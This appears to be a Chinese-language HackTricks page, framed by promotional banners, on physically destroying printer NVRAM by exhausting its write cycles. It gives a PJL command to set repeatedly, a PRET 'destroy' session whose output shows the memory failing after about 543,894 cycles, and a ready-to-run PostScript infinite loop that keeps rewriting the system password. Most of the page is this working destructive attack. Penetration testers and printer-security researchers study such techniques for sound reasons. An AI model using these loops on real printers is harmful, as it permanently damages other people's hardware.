5 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品- The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
打印机和其他嵌入式设备的长期设置存储在非易失性存储器(NVRAM)中,传统上实现为EEPROM或闪存。这两个组件都有有限的寿命。如今,闪存供应商保证在出现任何写入错误之前,可以进行约100,000次重写。
PJL
为了测试破坏NVRAM写入功能的实际效果,可以连续使用不同的X
值设置副本数量的长期值:
@PJL DEFAULT COPIES=X
通常,在停止允许写入之前,NVRAM参数被固定为出厂默认值,并且可以使用@PJL SET...
命令更改当前打印作业的所有变量。
使用PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11
PostScript
对于PostScript,需要找到当前系统参数字典中的一个条目,该条目在重新启动后仍然存在(因此必须存储在某种NVRAM中)。一个很好的候选者是PostScript密码。
PostScript可以运行一个脚本来破坏自己的NVRAM:
/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop
关于这些技术的更多信息可以在 http://hacking-printers.net/wiki/index.php/Physical_damage 找到
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在 HackTricks 中看到你的公司广告吗?或者你想获得PEASS 的最新版本或下载 HackTricks 的 PDF 版本吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 上 关注我 🐦@carlospolopm.
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。